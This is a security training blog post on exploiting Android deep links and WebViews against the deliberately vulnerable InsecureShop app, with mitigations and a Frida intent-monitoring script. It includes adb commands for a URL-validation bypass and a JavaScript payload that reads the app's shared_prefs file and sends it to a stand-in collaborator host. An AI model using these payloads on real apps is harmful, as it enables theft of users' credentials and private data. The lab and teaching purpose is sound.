Over the last few years, Android smartphones have become ubiquitous. We have millions of users relying on these devices for business and personal communication, entertainment, and work. With this rise in the use of Android smartphones, there has been a high uptick in the number of security vulnerabilities in the applications that can put users’ personal data at risk.
Android Deep Linking and usage of WebViews in the Android applications are one of most targeted yet least talked about attack vectors. In this blog post, we will explore these issues in-depth and provide you with the techniques for exploiting and securing Android applications against such attacks.
What are Android Deep Links?
Android Deep Links are a way to direct users to specific content within an application, regardless of whether they have the application installed on their device or not. Deep Links can be used in various scenarios, such as sharing a specific page or product within an application with a friend via messaging or email.
Deep Links function by utilizing a distinct URL that is linked with a particular content piece within an application. Upon clicking the deep link URL, the user’s device will verify if the app is already installed. If so, the app will open automatically and navigate the user directly to the designated content identified in the deep link. In the event that the application is not installed, the user will be redirected to the application’s page within the Google Play Store or another application store, where they will be prompted to download and install the app.
The Deep Links that we see are of usually 2 types:
(i) Implicit Deep Links – These are the deep links that take the user to a static location in any specific section within the application without specifying the exact component to be called. Example: Application Widgets or notifications etc
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setData(Uri.parse("pepper://open/product?id=1234"));
startActivity(intent);
In this code snippet, when the user clicks on a link with this URI scheme, the Android application will receive the intent and use the id parameter to determine what product should be displayed to the user. The exact activity that the user will be presented with will be determined by the application’s internal logic, which can be further based on the URI parameters, the device preferences, or other factors.
(ii) Explicit deep links – These are the deep links which are usually the in form of URI that takes you to an activity which is directly present in any other application. It can be used to start a specific component such as an activity, service, or broadcast receiver within the same application, or another application. Example: When clicking on a terms and conditions page on the mobile web browser of the Play Store takes you to the terms and condition activity in the Play Store mobile application.
Here is an example of an explicit deep link in Java:
Intent intent = new Intent(this, ProductActivity.class);
intent.setData(Uri.parse("pepper://product?id=12345"));
startActivity(intent);
This code snippet will open the Pepper application (if installed) and navigate to the product with the ID of 12345. If the application is not installed, it will redirect the user to the application’s page in the application store.
However, it is important to note that developers often leave these deep links exposed to exploitation. For example, an account takeover via deep link vulnerability was reported on HackerOne at https://hackerone.com/reports/855618 and sensitive information disclosure via deep links vulnerability was reported at https://hackerone.com/reports/401793
How To Identify Deep Links In An Android Application?
Declaration of a deep link:
The above code snippet can help explain how the typical deep link declaration looks like in an application. From the above code, we can understand two types of URL schemas
- https://8ksec.io/training
- HTTPS – a protocol which is being used to access the link
- www.8ksec.io – This is the domain
- /training – This is the path which will take us to a particular activity in the application
- 8ksec://training
- This is the custom deep link which we have set and this will also take us to the MainActivity that has to be declared the android manifest XML.
The content till this point should have provided with a basic introduction to what is deep link, and how to identify it in an application.
Here is an exercise for our readers: There is a game application that has a deep link declaration mentioned below:
mario://level/99
Do you see anything wrong here? Comment on this blog to let us know!
How To Exploit Android Deep Links In An Android Application?
Tools of the Trade:
- APKTOOL – https://ibotpeaches.github.io/Apktool/
- Get_schemas – https://github.com/teknogeek/get_schemas
Vulnerable Application:
- InsecureShop – https://github.com/hax0rgb/InsecureShop
This blog discusses all the issues related to deep links present in the InsecureShop application. Take a look at https://github.com/hax0rgb/InsecureShop to learn more about this awesome project!
Scenario-1: Insufficient URL Validation
Most mobile application provide functionality to load a webview inside the application. This could be as simple as the terms and condition page on the website, or additional features like coupons, etc. In this section, we will be looking at how to exploit an deep link in the insecureshop application that does not do any sort of validation on the URL loaded by it.
We use apktool to get the AndroidManifest.xml file and see the activities in InsecureShop.
We can use the knowledge gathered in the previous section to identify the deep links in this application.
The Deep Link here will be insecureshop://com.insecureshop/
We can also use https://github.com/teknogeek/get_schemas to get the schemas
The corresponding java code for the WebView would be:
Here as we can see that this particular WebView schema takes the endpoint as “/web” and after that an intent to the deep link schema named “url” is being added and that is being further loaded in the WebView via “webview.loadUrl(data)”.
The schema here would be:
insecureshop://com.insecureshop/web?url.
Now for triggering this deep link, we can use the reference from the android documentation https://developer.android.com/training/app-links/deep-linking#testing-filters Here we can see that the the command would be:
adb shell am start -W -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=https://8ksec.com"
This will load the 8kSec webpage. Attackers can use this same approach to load a phishing page to target unsuspecting victims.
Mitigation: To ensure secure loading of web page content in the mobile application, it is important to verify the URLs and their origin. Only allow content from web pages that belong to the domain accessed by the mobile application.
Scenario-2: Weak Host Validation
Mobile applications may need to load content in a webview, such as when processing payments through an SDK or redirecting to a terms and conditions page while purchasing credits in an app. However, it’s important to validate the URL being rendered in the webview to prevent potential security risks. If a flaw exists, an attacker could exploit it by loading a malicious webpage within an otherwise secure webview.
We use apktool to get the AndroidManifest.xml file and see the activities in the InsecureShop application.
As we have learned from the previous example on how to identify the deep link.
The corresponding java code for the WebView would be:
We can observe that the endpoint has now been updated to /webview, while the schema remains the same as in scenario-1. However, a validation step has been added that checks whether the domain specified in the URL parameter ends with “insecureshop.com”. The schema here would be:
insecureshop://com.insecureshop/webview?url.
When Triggering the WebView we can do using the following command:
adb shell am start -W -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/webview?url=ksec7.wpcomstaging.com/?insecureshopapp.com"
A better approach would be to use the following combination to bypass the validation:
adb shell am start -W -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/webview?url=ksec7.wpcomstaging.com/training/?superimportantlinkopen=insecureshopapp.com
You can then see that the 8ksec webpage gets loaded instead of the original insecureshopapp.com as the code only checks for the content url that ends with insecureshopapp.com and not the complete schema.
Mitigation:
- Make sure to verify the authority and not just the domain name that the URL ends with.
- On devices with API level 1-24 (up to Android 7.0), android.net.Uri and java.net.URL parsers works incorrectly. Example: String url = “<8ksec.io\\\\\\\\@insecureshopapp.com>”; This will load the io webpage. Make sure to throw URISyntaxException if black-slashes are encountered in the request.
Scenario-3: WebView Exploitation
Here we will be exploring the WebView related vulnerabilities in the InsecureShop application. The aim here would be to exploit the insecure implementation of the WebView and exfiltrate the sensitive information stored inside the application sandbox on the victim device.
Here for identifying the webview, and its usage in the code base we need to start looking for activities that have the Android API setJavaScriptEnabled(true); declared.
We used Jadx search to find the instances where this is located. These are the activities where we need to execute the Javascript which we can control and it will get triggered in the context of the insecureShop application.
We have identified the activities that require action, and now we need to locate the API that will grant us access to the data within the application sandbox. Fortunately, we are familiar with the Android API that can be utilized for data exfiltration.
Now we know all the calls to the API getAllowUniversalAccessFromFileURLs. This is the API that will help us to exfiltrate the data from the application sandbox.
There are two possible ways to load the URIs and get the data and where we can even exfiltrate the data from the victim’s device. We will look at each of the them in detail.
This can be just a simple poc like where we can set up a html page
<html>
<body>
<h2>
<a href="insecureshop://com.insecureshop/web?url=file:///data/data/com.insecureshop/shared_prefs/Prefs.xml">Just click here</a>
</h2>
</body>
</html>
And when click will show up the login details of the victim.
We can also host an webpage with the malicious html like given below
<html>
<head></head>
<body>
<script type="text/javascript">
function exfiltrateFile(filePath, callback) {
var request = new XMLHttpRequest();
request.open("GET", "file://" + filePath, true);
request.onload = function(event) {
callback(btoa(request.responseText));
}
request.onerror = function(event) {
document.write(event);
callback(null);
}
request.send();
}
var filePath = "/data/user/0/com.insecureshop/shared_prefs/Prefs.xml";
exfiltrateFile(filePath, function(contents) {
document.write(contents);
var exfil = new XMLHttpRequest();
exfil.open("GET", " < https: //burpcolloboratorurl.com?file=>" + contents, true);
exfil.onload = function(event) {
document.write(" < /br>[+] File successfully exfiltrated to remote server");
}
exfil.onerror = function(event) {
document.write(event);
callback(null);
}
exfil.send();
});
</script>
</body>
</html>
Here we need to host the html file on the server which we control and then we can do:
adb push exploit.html /sdcard/Downloads/
This will push the file from our system to the victim device. The code attempts to exfiltrate sensitive data from an Android device by retrieving a shared preferences file and sending it to a remote server.
Another example scenario would be to chain the bug with the weak url validation and then get the contents from the shared preferences.
Mitigation:
- Make sure to always sanitize the external data that is being passed into the javascript.
- Always validate the domain and its contents before loading them into the webview. Malicious content can result in the execution of JavaScript within the context of the mobile application where the domain is loaded.
- It is recommended that developers use Chrome Custom Tabs so that even if javascript execution happens it will be in the context of the custom tab where the domain is being loaded in the chrome browser. This reduces the impact of the attack.
- If the browsing experience doesn’t deteriorate, then the developers can also use Trusted Web Activities which reduces the impact of the attack.
- If the setJavaScriptEnabled attribute has been set to true, then there should be strict validation of the javascript loaded.
- Also make sure to set the following flags to false
- getAllowFileAccess
- getAllowFileAccessFromFileURLs
- getAllowUniversalAccessFromFileURLs
Monitoring Deep Links Across The Operating System
When working with custom OEMs and complex applications, it’s necessary to monitor the usage of deep links. This is important to ensure that the custom OEMs are working properly and have proper validation, and to identify any hidden deep links that may cause security issues.
An example of such an issue can be seen in this article: https://ssd-disclosure.com/ssd-advisory-galaxy-store-applications-installation-launching-without-user-interaction/
For monitoring deep links across the system here we will use frida framework. To install the frida server and agent we can refer to the frida documentation here https://frida.re/docs/android/, or take a look at using FridaLoader (https://github.com/dineshshetty/FridaLoader) that automates the process for us.
After setting up the necessary components, we can utilize the enhanced version of a publicly available version – modified to handle intensive operations.
//Modified version of
//frida -U -p pid -l script.js
// Define a global object to store previously seen intents
var seenIntents = {};
Java.perform(function() {
var Intent = Java.use("android.content.Intent");
Intent.getData.implementation = function() {
var action = this.getAction() !== null ? this.getAction().toString() : false;
if (action) {
// Create a unique key for the current intent by concatenating its action and data URI
var key = action + '|' + (this.getData() !== null ? this.getData().toString() : '');
// Check if this intent has been seen before
if (seenIntents.hasOwnProperty(key)) {
return this.getData();
} else {
// Mark this intent as seen by adding it to the global object
seenIntents[key] = true;
console.log("[*] Intent.getData() was called");
console.log("[*] Activity: " + (this.getComponent() !== null ? this.getComponent().getClassName() : "unknown"));
console.log("[*] Action: " + action);
var uri = this.getData();
if (uri !== null) {
console.log("\\n[*] Data");
uri.getScheme() && console.log("- Scheme:\\t" + uri.getScheme() + "://");
uri.getHost() && console.log("- Host:\\t\\t/" + uri.getHost());
uri.getQuery() && console.log("- Params:\\t" + uri.getQuery());
uri.getFragment() && console.log("- Fragment:\\t" + uri.getFragment());
console.log("\\n\\n");
} else {
console.log("[-] No data supplied.");
}
}
}
return this.getData();
}
});
This script will to monitor the deep links across the system.
Find the pid of the system_server:
rosy:/ $ ps -A | grep -i system_server
system 1680 917 5040652 241828 SyS_epoll_wait 0 S system_server
Now we can attach to the service using this command
➜ frida -U -p 1680 -l deeplink3.js
____
/ _ | Frida 16.0.10 - A world-class dynamic instrumentation toolkit
| (_| |
> _ | Commands:
/_/ |_| help -> Displays the help system
. . . . object? -> Display information about 'object'
. . . . exit/quit -> Exit
. . . .
. . . . More info at
. . . .
. . . . Connected to Redmi 5 (id=b35097cf7d25)
[Redmi 5::PID::1680 ]-> [*] Intent.getData() was called
[*] Activity: com.android.fileexplorer.FileExplorerTabActivity
[*] Action: android.intent.action.MAIN
[-] No data supplied.
[*] Intent.getData() was called
[*] Activity: unknown
[*] Action: android.intent.action.VIEW
[*] Data
- Scheme: content://
- Host: /com.mi.android.globalFileexplorer.myprovider
[*] Intent.getData() was called
[*] Activity: unknown
[*] Action: android.intent.action.VIEW
[*] Data
- Scheme: content://
- Host: /com.mi.android.globalFileexplorer.myprovider
[*] Intent.getData() was called
[*] Activity: unknown
[*] Action: android.intent.action.VIEW
[*] Data
- Scheme: insecureshop://
- Host: /com.insecureshop
- Params: url=file:///data/data/com.insecureshop/shared_prefs/Prefs.xml
[*] Intent.getData() was called
[*] Activity: unknown
[*] Action: android.intent.action.TIME_TICK
[-] No data supplied.
With this script, we can monitor deep links across systems and gain a comprehensive understanding of application functioning, and how we as attackers can exploit it
Now that we have got an in-depth overview of how to exploit Android Deep Links, go ahead and try out your skills on the BuggyWebView application – https://github.com/dineshshetty/BuggyWebView. Post your solutions in the comments!
References:
- https://developer.android.com/training/app-links/deep-linking
- https://mas.owasp.org/MASTG/Android/0x05h-Testing-Platform-Interaction/#javascript-execution-in-webviews
- https://blog.oversecured.com/Android-security-checklist-webview/
Looking to elevate your expertise in Mobile Application Security?
Practical Mobile Application Exploitation Training
365 Days of Access | Hands-On Learning | Self-Paced Training